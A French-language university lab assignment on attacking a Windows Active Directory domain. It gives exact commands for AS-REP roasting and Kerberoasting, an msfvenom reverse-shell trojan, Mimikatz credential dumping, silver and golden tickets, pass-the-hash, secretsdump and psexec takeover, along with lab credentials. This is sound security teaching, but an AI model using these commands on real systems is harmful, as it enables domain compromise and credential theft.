# Labo 02 – Windows – Vol de secrets

## 1. Introduction

L'objectif de ce laboratoire est de mettre en pratique plusieurs attaques sur les mots de passe Windows.

## 1. Rendu attendu

Ce laboratoire doit être réalisé par groupe sauf dérogation exceptionnelle de l'équipe enseignante.

Un rapport répondant **de manière détaillée** aux questions posées dans ce document doit être remis à la fin du travail. Les questions qui sont suivies du symbole ◉ doivent contenir une copie d'écran ou un extrait de la sortie de la console pour illustrer la réponse.

Le rapport au format **PDF** doit être rendu sur cyberlearn : https://cyberlearn.hes-so.ch/mod/assign/view.php?id=1285943

Chaque jour de retard réduira la note d'un point.

NB : **respectez la numérotation des questions** dans votre rapport même s'il y a des sauts dans la numérotation.

## 2. Infrastructure

Les machines de laboratoire sont hébergées sur l'infrastructure de l'école et sont **accessibles via le VPN**. Elles seront accessibles et opérées en continu par l'équipe enseignante pendant la durée du laboratoire. Elles seront également accessibles jusqu'à la date de rendu, mais sans supervision continue et elles seront probablement redémarrées tous les soirs. En cas de problème pendant cette période, merci de le rapporter via le forum cyberlearn ou via le canal general sur Teams.

Pour accéder à l'infrastructure du laboratoire vous devez être **sur le réseau de l'école ou connecté en VPN**:

- GlobalProtect sous Windows
- Openconnect sous OSX ou Linux

```
sudo openconnect vpn.heig-vd.ch –user=<mail> –protocol=gp
```

Pour réaliser le labo vous pouvez mais n'êtes pas obligés d'utiliser la VM Ubuntu utilisée jusqu'ici et disponible sur le share : https://cyberlearn.hes-so.ch/mod/url/view.php?id=858396. Vous accéderez, dans l'infrastructure de l'école, à la machine de l'attaquant qui contient les outils et les ressources nécessaires pour le labo via SSH :

La machine de l'attaquant tourne Ubuntu 22.04 alors que les machines victimes utilisent Windows. Toutes sont déployées sur le même segment réseau (masque 255.255.2555.0).

NB : Vous partagez TOUS les mêmes machines victimes. Vous êtes donc priés de NETTOYER ce que vous déposez/modifiez sur ces machines IMMEDIATEMENT APRES VOTRE ATTAQUE.

## 3. Réalisation

Nous allons attaquer le domaine `SECURE.com`, composé d'une workstation Windows10 et d'un serveur Windows Server.

- Se connecter en SSH sur le réseau du laboratoire avec les secrets reçus par email.

```
ssh -i <private key> <username>@10.190.134.11
```

- Se connecter à la machine attaquant avec l'adresse IP `<group ip> = 10.190.134.(149+n)` (`n` est votre numéro du groupe) et le mot de passe provisoire `sosjaiperdulemotdepasse`.

```
ssh sosuser@<group ip>
```

- Changer le mot de passe.

```
passwd
```

### 3.1. Reconnaissance

Pour commencer, il convient de scanner le réseau afin de découvrir les machines et services accessibles.

- Avec l'outil nmap, effectuer une reconnaissance du réseau puis effectuer une analyse plus précise des chaque machine cible.

```
nmap -Pn -n -F 10.190.134.0/27 -open
nmap -Pn -O <target IP>
```

**Questions:**

P1: Quels OS tournent les machines cibles ?
Quels ports sont ouverts sur le serveur, que pouvez-vous en déduire des fonctions de cette machine ?

### 3.2. Accès initial

Nous faisons l'hypothèse que ce laboratoire fait suite à une phase préalable et que nous avons déjà obtenu (par exemple, via une attaque de social engineering) les « credentials » suivants:

```
username: jcode
password: Jeancode11
```

- Essayer de s'authentifier à la machine workstation avec les credentials de `jcode` en utilisant `winrm`, outil Windows permettant l'administration à distance d'une autre machine Windows en lignes de commande. Pour le tester sous Linux, nous allons utiliser l'outil équivalent : `evil-winrm`.

```
evil-winrm -i <target IP> -u <username>
```

**Questions:**

P2: Avez-vous pu vous connecter ? Pourquoi, à votre avis ?

### 3.3. Asprep roasting

L'attaque « *asprep roasting* » vise à récupérer un ticket TGT pour essayer de retrouver le mot de passe de l'utilisateur associé.

L'attaque utilise la désactivation de `Kerberos-Preauth` qui sécurise les requêtes d'authentification Kerberos pour Windows. Un horodatage est alors requis dans la demande pour éviter les attaques par replay et la requête est entièrement chiffrée à l'aide du mot de passe du demandeur, ce qui permet au KDC d'en authentifier la provenance. Cependant, le mode de pré-authentification peut être désactivé pour certains utilisateurs, typiquement pour des raisons de rétrocompatibilité.

Nous allons tenter une attaque asprep roasting qui demande des TGT Kerberos pour des utilisateurs donnés sans pré-authentification (https://beta.hackndo.com/kerberos-asrep-roasting/). Pour ce faire, nous allons utiliser le module `GetNPUsers.py` de la suite Impacket[1] qui interoge le DC pour récupérer les utilisateurs avant de tenter de

[1] Impacket (https://github.com/fortra/impacket) est une suite de scripts implémentant des outils Windows et des attaques automatiques sur Windows. Les scripts sont écrits en python et peuvent donc être utilisés facilement depuis une machine Linux.

récupérer puis cracker leurs TGT avec `haschcat`. Seule contrainte, il faut posséder des credentials valides pour accéder au domaine.

- Compléter la commande ci-après pour lancer une attaque asp-rep roasting sur le domaine cible.

```
GetNPUsers.py -request -dc-ip <DC IP> <domain>/<username>:<password> -
outputfile hashes.aspreproast
```

- Craquer les TGT obtenus avec Hashcat à l'aide du dictionnaire `rockyou.txt` fourni dans le répertoire utilisateur de l'attaquant.

```
hashcat --help | grep -i kerberos

hashcat -m <asprep mode> hashes.aspreproast <path to rockyou>
```

- Parmi les credentails récupérés sélectionner ceux du compte `atrusionX` où X est le numéro de votre groupe, puis tentez de vous connecter avec l'outil `evil-winrm`.

```
evil-winrm -i <target IP> -u <username>
```

**Questions:**

P3: Quelle conclusion pouvez-vous tirer sur l'utilisateur `jcode` ?

P4: Pourquoi un TGT permet-il de retrouver un mot de passe ?
Comment Hashcat s'y prend-il pour les cracker ?

P5: L'utilitaire `evil-winrm` ouvre une session avec les privilèges de l'utilisateur. Que pouvez-vous en déduire sur l'utilisateur `atrusionX` ? ◉

### 3.4. Elévation de privilèges

Avec un accès à une machine du domaine, on peut énumérer le contenu et la configuration locale à la recherche d'un moyen permettant de devenir administrateur de la machine (local admin). Malheureusement, `winrm` ne permet pas d'utiliser facilement les outils d'énumération automatique[2] ou les outils natifs de Windows[3]. Nous allons donc exploiter une autre vulnérabilité afin de déposer une backdoor à l'intérieur d'un troyen.

- Nous allons créer notre troyen avec l'outil `msfvenom` du framework metasploit. Notre backdoor va exécuter un « reverse shell » auquel nous nous connecterons avec l'utilitaire `netcat`.
- Pour exécuter notre troyen, nous allons exploiter une erreur de configuration Windows, qui survient lorsque le chemin de l'exécutable d'un service est configuré sans être compris entre guillemets. Le chemin de l'exécutable du service est `C:\Program Files\Some ToolsX\Fax 2.0\FXSSVC.exe`. Le service est démarré automatiquement toutes les 2 minutes par un l'administrateur local via une tâche automatique.

Il vous faut d'abord rechercher comment fonctionne une attaque sur un « *unquoted service path »,* en déduire où vous aller déposer votre backdoor (`target_folder`), puis obtenir un reverse shell en suivant les étapes ci-après.

- Vérifier que votre utilisateur `atrusionX` a les droits d'écriture sur `target_folder`.
- Avec `msfvenom`, créer un troyen avec un reverse shell à l'intérieur. Utiliser les ports indiqués dans le fichier `allocated_ports` qui se trouve dans le dossier utilisateur de l'attaquant.

```
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<port> -f
exe -o <trojan.exe>
```

---

[2] Il existe des outils permettant d'énumérer automatiquement une machine Windows au sein d'un domaine comme, par exemple, powersploit qui contient différents modules:

- Reconnaissance d'une machine avec PowerView (https://powersploit.readthedocs.io/en/latest/Recon/)
- Recherche d'élévation de privilège avec PowerUp (https://powersploit.readthedocs.io/en/latest/Privesc/)

D'autres outil permettent de faire une énumération complètement automatique :

- WinPeas (https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)

[3] Voir les commandes `Get-CimInstance` ou `wmic.`

- Avec `evil-winrm`, uploader le troyen dans `target_folder`.

```
cd "target folder"
upload <trojan.exe>
```

- Au bout de maximum 2 minutes, le reverse shell devrait être exécuté ; on peut s'y connecter avec `netcat`.

```
nc -nlvp <PORT>
```

**Questions:**

P6: Comment fonctionne l'exploitation de la vulnérabiltié Unquoted service path (expliquer ce que fait Windows lorsque le service est démarré) ?

P7: Avec quels privilèges tournent votre reverse shell ? Comment l'expliquer ? ◉

### 3.5. Mimikatz

Nous allons maintenant utiliser Mimikatz pour dumper les credentials en mémoire.

- Avec `evil-winrm`, uploader `64mimikatz.exe` sur la workstation.

```
upload 64mimikatz.exe
```

- En utilisant le remote shell de votre backdoor, exécuter Mimikatz pour récupérer les credentials en mémoire.

```
.\64mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

**Questions:**

P8: Où sont les credentials que Mimikatz récupère ?
Comment ce dernier s'y prend-il pour les récupérer ?

P9: Pourquoi a-t-on utilisé le remote shell plutôt que `evil-winrm` pour exécuter Mimikatz ?

P10: Quels sont les credentials d'utilisateurs privilégiés trouvés par Mimikatz ? ◉
Comment pourrait-on utiliser ces credentials dans le but d'obtenir une session privilégiée ?

### 3.6. Kerberoast

L'attaque « *kerberoast* » consiste à récupérer un ticket TGS pour essayer de retrouver le mot de passe d'un service.

Nous allons tenter l'attaque kerberoast en utilisant l'exécutable `Rubeus.exe` fourni sur la machine de l'attaquant. Exécuté avec l'argument `kerberoast`, ce programme retourne les TGS des services actifs sur une machine cliente. L'output de `Rubeus.exe` doit ensuite être formatté pour éliminer les retours de ligne et autres séparateurs. Les TGS ainsi obtenus peuvent alors être crackés avec `hashcat`.

- Avec `evil-winrm`, uploader `Rubeus.exe` sur la workstation.

```
upload Rubeus.exe
```

- Lancer l'attaque kerberoast.

```
Rubeus.exe kerberoast /domain:<domain> /creduser:<domain>\<username>
/credpassword:<password> /format:hashcat >tgs.hashcat
download tgs.hashcat
```

- Craquer les TGT obtenus avec Hashcat à l'aide du dictionnaire `rockyou.txt` fourni dans le dossier utilisateur de l'attaquant.

```
hashcat --help | grep -i kerberos
hashcat -m <asprep mode> tgs.hashcat <path to rockyou>
```

**Questions:**

P11: Dans quelle session accessible depuis votre machine attaquant avez-vous réussi l'attaque Keberoast ? Pourquoi cela a-t-il fonctionné ?

P12: Pourquoi un TGS permet-il de retrouver un mot de passe ? Comment Hashcat s'y prend-il pour les cracker ?

P13: Comment faudrait-il configurer le service pour éviter une attaque Kerberast ?

### 3.7. Token de service

Nous allons maintenant tester les credentials que nous avons obtenus pour l'invocation des services que nous venons d'attaquer avec kerberoast. Nous commençons avec les credentials du compte de domaine qui nous a permis de lancer l'attaque keberoast, à savoir ceux de `atrusionX`. L'objectif consiste à lancer le service avec ces credentials et à vérifier les privilèges obtenus. Nous referons ensuite la même opération avec les credentials obtenus avec kerberoast pour visualiser la différence.

Nous ne pouvons pas lancer le service depuis la machine de l'attaquant mais nous pouvons le faire depuis la workstation via `evil-winrm` avec une restriction toutefois liée à Kerberos[4]. En effet, sans configuration spécifique du protocole ou d'autres solutions complémentaires, les TGS ne peuvent être obtenus que depuis la machine qui possède le TGT de l'utilisateur en mémoire. Le nôtre est sur la machine de l'attaquant quand nous démarrons une session `evil-winrm` sur la workstation, nous n'y avons plus accès sur la workstation d'où nous invoquons le service. C'est pourquoi nous allons utiliser l'utilitaire Powershell `invoke-command` qui permet d'invoquer une commande sur une machine distante en lui passant les credentials à utiliser.

- Avec `evil-winrm`, récupérer les credentials puis invoquer le service avec `invoke-command` sur la workstation.

```
$password = "<password>" | ConvertTo-SecureString -asPlainText -Force

$username = "<domain>\<username>"

$creds = New-Object
System.Management.Automation.PSCredential($username,$password)

Invoke-Command -ScriptBlock { <command to call service> } -ComputerName
"<computerName>" -Authentication Kerberos -Credential $creds
```

Pour le service MSSQL, utiliser le client `sqlcmd.exe` afin d'afficher l'utilisateur avec lequel vous être connecté sur le service ainsi que les bases de données (DB) auxquelles vous avez accès, puis essayer de lister les utilisateurs de la DB.

```
sqlcmd.exe -S <server FQDN> -Q "SELECT HOST_NAME() AS HostName,
SUSER_NAME() LoggedInUser" -U <testUser> -P <testPassword>

sqlcmd.exe -S <server FQDN> -Q "select * from information_schema.tables
where table_type='base table'"

sqlcmd.exe -S <server FQDN> -Q "select * from Users"
```

**Questions:**

P14: Quelle identité (utilisateur) est utilisée par le service MSSQL ? ◉

P15: Quel type de jeton (access token) le service MSSQL utilise-t-il ? Justifiez votre réponse.

P16: Avez-vous pu visualiser les utilisateurs du service MSSQL ? Quelle réponse avez-vous obtenu du service, pourquoi ? ◉

[4] Pour un contexte plus large, voir https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.

### 3.8. Silver ticket

Nous allons maintenant exécuter le client en lui passant un TGS privilégié et vérifier l'impact sur les droits obtenus dans le service. Nous allons effectuer une attaque dite « silver ticket » pour obtenir le TGS. Pour ce faire, nous allons appliquer les informations récupérées en mémoire avec Mimikatz, et en particulier celles d'un compte de service qui se trouve être un compte privilégié.

Pour mener l'attaque silver ticket, nous allons utiliser, cette fois encore, l'outil `Rubeus.exe`. Ce dernier applique les secrets Kerberos récupéré pour demander un TGS sur un service donné et pour un utilisateur donné.

- Avec `evil-winrm` et `invoke-command`, récupérer les credentials puis invoquer `Rubeus.exe` pour demander un TGS privilégié ainsi que la commande Windows `klist.exe` pour l'afficher.

```
Rubeus.exe silver /service:<service FQDN> /rc4:<service key> /sid:<domain SID> /user:Administrator /domain:<domain> /ptt

klist.exe
```

- Compléter les commandes précédentes pour appeler le service MSSQL avec le TGS privilégié. Soumettre les 3 mêmes requêtes SQL qu'au point 3.6.

**Questions:**

P17: Comment avez-vous déterminé le SID du domaine nécessaire pour `Rubeus.exe` ? ◉

P18: Quelle identité (utilisateur) est utilisée par le service MSSQL ? ◉

P19: Comment expliquez-vous que vous avez pu obtenir un accès avec cette identité alors que votre TGS est associé au compte de service ?

P20: Avez-vous pu visualiser les utilisateurs du service MSSQL ? Quelle réponse avez-vous obtenu du service ? ◉

P21: Quelle information obtenue avec Mimikatz au point 3.4 avez-vous réutilisée ? ◉

P22: Comment cette information obtenue avec Mimikatz est-elle utilisée par `Rubeus.exe` ?

### 3.9. Pass et overpass the hash

Nous sommes maintenant en possession de nouveaux hashes. Si vous avez été attentifs lors des manipulations précédentes, vous devriez pouvoir en déduire un username associé. Nous allons utiliser ces nouveaux credentials pour tenter de nous connecter en effectuant une attaque « *pass the hash* » ou « *overpass the hash* », donc sans essayer de cracker le mot de passe. Pour ce faire, nous allons utiliser, une fois encore, la suite Impacket et, en particulier, l'outil `smblient.py` qui permet de se connecter à un share SMB via NTLM ou Kerberos. Cet outil permet notamment de changer le mot de passe d'un utilisateur sans rentrer le mot de passe actuel.

- Choir un username puis connecter les shares SMB des machines workstation et serveur via NTLM.

```
smbclient.py <domain>/<username>@<target ip> -hashes <LM hash>:<NTLM hash>

shares
```

- Avec le même username, connecter les shares SMB des machines workstation et serveur via Kerberos.

```
smbclient.py <domain>/<username>@<target ip> -dc-ip <DC ip> -hashes <LM hash:NTLM hash>

shares
```

- Modifier (et mémoriser) le mot de passe de l'utilisateur (uniqement celui que vous avez choisi).

```
password
```

**Questions:**

P23: Avec quel utilisateur vous êtes-vous connectés ? ◉

P24: Quels shares sont accessibles sur chacune des machines connectées ? ◉

P25: Quelle est la fonction de chacun des shares (toutes machines confondues) ?

P26: Quelle différence y a-t-il entre les 2 invocations de `smbclient.py` via NTLM et via Kerberos ?

P27: Quelle invocation effectue une attaques pass the hash et laquelle effectue une attaque overpass the hash ?

P28: Expliquez l'utilisation du hash, différente dans les 2 invocations, qui justifie les différences dans les 2 commandes.

### 3.10. Dump DC

Nous allons maintenant exploiter les accès de notre nouvel utilisateur avec son nouveau mot de passe pour récupérer (« dumper ») les hashes du domaine avec cet autre utilitaire Impacket : `secretsdump.py`[5]. On notera que cet outil, comme d'autres dans la suite Impacket, est également capable d'effectuer une attaque pass the hash pour arriver à ses fins mais notre hash ne fonctionnera plus maintenant que nous avons modifié le mot de passe.

- Dumper les hashes du serveur.

```
secretsdump.py <domain>/<username>:<password>@<target ip>
```

**Questions:**

P29: Pour quels nouveaux utilisateurs interactifs (i.e., en excluant les comptes techniques, services et machines) avez-vous réussi à obtenir un hash ? ◉

P30: Pour quel compte technique hautement sensible avez-vous pu également récupérer le hash ? ◉

P31: A quoi sert ce compte technique hautement sensible ?

P32: Quel compte interactif est le plus intéressant pour prendre le contrôle du DC ?

### 3.11. Prise de contrôle du DC

Nous avons identifié dans notre dump précédent du point 3.9 un compte capable de nous permettre de prendre le contrôle du DC. Nous allons l'utiliser pour démarrer une session de commande avec l'outil d'administration à distance `psexec` de la suite Sysinternals, ou plus exactement avec son implémentation Linux dans la suite Impacket : `psexec.py` qui supporte l'attaque pass the hash.

- Démarrer un shell de commande à distance avec `psexec.py`.

```
echo "<DC ip> <DC FQDN>" | sudo tee --append /etc/hosts
psexec.py <domain>/<username>@<target ip> -hashes <LM hash>:<NTLM hash>
```

- Vérifier l'identité, les groupes et privilèges de la session.

```
whoami /user
whoami /groups
whoami /priv
```

**Questions:**

P33: Comment pouvions-nous anticiper dès le point 3.8 que l'administration à distance via `psexec.py` était activée ? ◉

P34: Quelle identité avez-vous dans votre session `psexec` ? ◉

P35: Avec quel niveau d'intégrité s'exécute votre session `psexec` ? ◉

[5] Secretsdump exécute diverses techniques pour extraire des bases SAM, LSA et AD les secrets – identifiants, hashs NTLM, clés kerberos – de la machine distante sans exécuter d'agent (https://wadcoms.github.io/wadcoms/Impacket-SecretsDump/).

### 3.12. Golden ticket

A ce stade, nous avons un contrôle total du domaine. Il nous reste à gagner la persistance pour revenir quand nous le souhaitons. En réutilisant les secrets découverts au point 3.9, nous allons nous construire un ticket d'or. Une dernière fois, nous allons avoir aux outils de la suite Impacket, dans ce cas `ticketer.py` pour générer le ticket et `psexe.py` pour le tester.

- Générer un ticket d'or.

```
ticketer.py -debug -nthash <hash> -domain-sid <domain SID> -domain <domain>
-dc-ip <DC ip> <sos-exy username>
```

- Tester le ticket d'or.

```
export KRB5CCNAME=<sos-exy username>.ccache
psexec.py <domain>/<user>@<target ip> -dc-ip <DC ip> -k -no-pass
```

- Vérifier l'identité, les groupes et les privilèges de la session.

```
whoami /user
whoami /groups
whoami /priv
```

**Questions:**

P36: D'où vient le sos-exy username indiqué pour la génération du ticket d'or ?

P37: Combien de temps est valable le ticket d'or ? ◉

P38: Quel est l'utilisateur de votre session ? ◉